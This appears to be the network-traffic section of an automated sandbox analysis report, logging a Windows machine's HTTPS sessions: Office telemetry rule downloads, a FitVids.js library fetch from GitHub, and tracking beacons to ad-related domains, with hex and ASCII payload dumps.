2024-10-14 22:39:54 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:54 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:54 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:54 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: fa6a24a8-e01e-0099-78e3-1ada8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223954Z-17db6f7c8cf4g2pjavqhm24vp4000000074000000000pagz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:54 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:54 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:54 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:54 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 94304cac-901e-0048-809f-1bb800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223954Z-17db6f7c8cf8rgvlb86c9c00980000000570000000002swz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:54 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:54 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:54 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:54 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 94af937e-501e-0047-50ca-1ace6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223954Z-17db6f7c8cfhzb2znbk0zyvf6n00000006m000000000qbf2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:54 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:54 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:54 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:54 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 11c3f343-501e-0078-0139-1c06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223954Z-17db6f7c8cfpm9w8b1ybgtytds000000050g0000000054ka x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:54 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	49883	185.199.111.133	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:55 UTC	578	OUT	GET /davatron5000/FitVids.js/master/jquery.fitvids.js HTTP/1.1 Host: raw.githubusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://sqsq2938.blogspot.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:55 UTC	891	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3350 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "59eaf88cb2cc8ab6a41089faa3b6d9a456ee3bdf4c12586c59286abb51497f42" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 7636:144002:27FF89:2B8F54:670D9DBA Accept-Ranges: bytes Date: Mon, 14 Oct 2024 22:39:55 GMT Via: 1.1 varnish X-Served-By: cache-lga21975-LGA X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1728945595.378705,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 7f182352289343420b14f7ae8ff327087d579ded Expires: Mon, 14 Oct 2024 22:44:55 GMT Source-Age: 1
2024-10-14 22:39:55 UTC	1378	IN	Data Raw: 2f 2a 6a 73 68 69 6e 74 20 62 72 6f 77 73 65 72 3a 74 72 75 65 20 2a 2f 0a 2f 2a 21 0a 2a 20 46 69 74 56 69 64 73 20 31 2e 31 0a 2a 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 33 2c 20 43 68 72 69 73 20 43 6f 79 69 65 72 20 2d 20 68 74 74 70 3a 2f 2f 63 73 73 2d 74 72 69 63 6b 73 2e 63 6f 6d 20 2b 20 44 61 76 65 20 52 75 70 65 72 74 20 2d 20 68 74 74 70 3a 2f 2f 64 61 76 65 72 75 70 65 72 74 2e 63 6f 6d 0a 2a 20 43 72 65 64 69 74 20 74 6f 20 54 68 69 65 72 72 79 20 4b 6f 62 6c 65 6e 74 7a 20 2d 20 68 74 74 70 3a 2f 2f 77 77 77 2e 61 6c 69 73 74 61 70 61 72 74 2e 63 6f 6d 2f 61 72 74 69 63 6c 65 73 2f 63 72 65 61 74 69 6e 67 2d 69 6e 74 72 69 6e 73 69 63 2d 72 61 74 69 6f 73 2d 66 6f 72 2d 76 69 64 65 6f 2f 0a 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 Data Ascii: /jshint browser:true //! FitVids 1.1** Copyright 2013, Chris Coyier - http://css-tricks.com + Dave Rupert - http://daverupert.com* Credit to Thierry Koblentz - http://www.alistapart.com/articles/creating-intrinsic-ratios-for-video/* Released und
2024-10-14 22:39:55 UTC	1378	IN	Data Raw: 73 74 61 72 74 65 72 2e 63 6f 6d 22 5d 5b 73 72 63 2a 3d 22 76 69 64 65 6f 2e 68 74 6d 6c 22 5d 27 2c 0a 20 20 20 20 20 20 20 20 27 6f 62 6a 65 63 74 27 2c 0a 20 20 20 20 20 20 20 20 27 65 6d 62 65 64 27 0a 20 20 20 20 20 20 5d 3b 0a 0a 20 20 20 20 20 20 69 66 20 28 73 65 74 74 69 6e 67 73 2e 63 75 73 74 6f 6d 53 65 6c 65 63 74 6f 72 29 20 7b 0a 20 20 20 20 20 20 20 20 73 65 6c 65 63 74 6f 72 73 2e 70 75 73 68 28 73 65 74 74 69 6e 67 73 2e 63 75 73 74 6f 6d 53 65 6c 65 63 74 6f 72 29 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 76 61 72 20 69 67 6e 6f 72 65 4c 69 73 74 20 3d 20 27 2e 66 69 74 76 69 64 73 69 67 6e 6f 72 65 27 3b 0a 0a 20 20 20 20 20 20 69 66 28 73 65 74 74 69 6e 67 73 2e 69 67 6e 6f 72 65 29 20 7b 0a 20 20 20 20 20 20 20 20 69 67 6e Data Ascii: starter.com"][src*="video.html"]', 'object', 'embed' ]; if (settings.customSelector) { selectors.push(settings.customSelector); } var ignoreList = '.fitvidsignore'; if(settings.ignore) { ign
2024-10-14 22:39:55 UTC	594	IN	Data Raw: 20 20 20 20 20 20 20 61 73 70 65 63 74 52 61 74 69 6f 20 3d 20 68 65 69 67 68 74 20 2f 20 77 69 64 74 68 3b 0a 20 20 20 20 20 20 20 20 69 66 28 21 24 74 68 69 73 2e 61 74 74 72 28 27 6e 61 6d 65 27 29 29 7b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 76 69 64 65 6f 4e 61 6d 65 20 3d 20 27 66 69 74 76 69 64 27 20 2b 20 24 2e 66 6e 2e 66 69 74 56 69 64 73 2e 5f 63 6f 75 6e 74 3b 0a 20 20 20 20 20 20 20 20 20 20 24 74 68 69 73 2e 61 74 74 72 28 27 6e 61 6d 65 27 2c 20 76 69 64 65 6f 4e 61 6d 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 24 2e 66 6e 2e 66 69 74 56 69 64 73 2e 5f 63 6f 75 6e 74 2b 2b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 24 74 68 69 73 2e 77 72 61 70 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6c 75 69 64 2d 77 69 64 74 68 Data Ascii: aspectRatio = height / width; if(!$this.attr('name')){ var videoName = 'fitvid' + $.fn.fitVids._count; $this.attr('name', videoName); $.fn.fitVids._count++; } $this.wrap('<div class="fluid-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	49881	139.45.195.8	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:55 UTC	499	OUT	GET /img.gif?f=merge&userId=0080f52b8e41436deb287525cd342cae&z=8079706&p_rid=010be0c3-d8ef-4b81-8363-d3a6d5db9249&p_src=sf HTTP/1.1 Host: my.rtmark.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ID=0080f52b8e41436deb287525cd342cae
2024-10-14 22:39:55 UTC	659	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 14 Oct 2024 22:39:55 GMT Content-Type: image/gif Content-Length: 43 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, Authorization,X-CSRF-Token Access-Control-Expose-Headers: Authorization Access-Control-Allow-Credentials: true Timing-Allow-Origin: * Set-Cookie: ID=0080f52b8e41436deb287525cd342cae; expires=Tue, 14 Oct 2025 22:39:55 GMT; secure; SameSite=None Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff Timing-Allow-Origin: *
2024-10-14 22:39:55 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49879	139.45.197.244	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:55 UTC	540	OUT	GET /async_log/add?cid=1db9169f-90f4-4b2d-b517-bc47aab19c1f&ruid=010be0c3-d8ef-4b81-8363-d3a6d5db9249 HTTP/1.1 Host: oughoaghushouru.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: OAID=0080f52b8e41436deb287525cd342cae; captcha=player; syncedCookie=true; oaidts=1728945591
2024-10-14 22:39:55 UTC	484	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 14 Oct 2024 22:39:55 GMT Content-Length: 0 Connection: close Access-Control-Allow-Origin: Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, X-Forwarded-For, If-None-Match Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff Timing-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49882	139.45.195.8	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:55 UTC	428	OUT	GET /gid.js?userId=0080f523ce504ac9e2ef03a350bc2951 HTTP/1.1 Host: my.rtmark.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ID=0080f52b8e41436deb287525cd342cae
2024-10-14 22:39:55 UTC	681	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 14 Oct 2024 22:39:55 GMT Content-Type: application/json; charset=utf-8 Content-Length: 65 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, Authorization,X-CSRF-Token Access-Control-Expose-Headers: Authorization Access-Control-Allow-Credentials: true Timing-Allow-Origin: * Set-Cookie: ID=0080f52b8e41436deb287525cd342cae; expires=Tue, 14 Oct 2025 22:39:55 GMT; secure; SameSite=None Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff Timing-Allow-Origin: *
2024-10-14 22:39:55 UTC	65	IN	Data Raw: 7b 22 67 69 64 22 3a 22 30 30 38 30 66 35 32 62 38 65 34 31 34 33 36 64 65 62 32 38 37 35 32 35 63 64 33 34 32 63 61 65 22 2c 22 73 6b 69 70 53 75 62 73 63 72 69 62 65 22 3a 66 61 6c 73 65 7d 0a Data Ascii: {"gid":"0080f52b8e41436deb287525cd342cae","skipSubscribe":false}

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:55 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:55 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:55 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: d4fa587e-101e-008e-331f-1ccf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223955Z-17db6f7c8cf9c22xp43k2gbqvn00000004hg00000000p6hu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:55 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:55 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:55 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:55 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 5007ca28-801e-00a0-7d20-1b2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223955Z-17db6f7c8cf6qp7g7r97wxgbqc000000068g00000000mk44 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-14 22:39:55 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:55 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-14 22:39:55 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:55 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 3776c2af-901e-0048-1a6f-1cb800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241014T223955Z-17db6f7c8cf6f7vv3recfp4a6w0000000440000000006wps x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
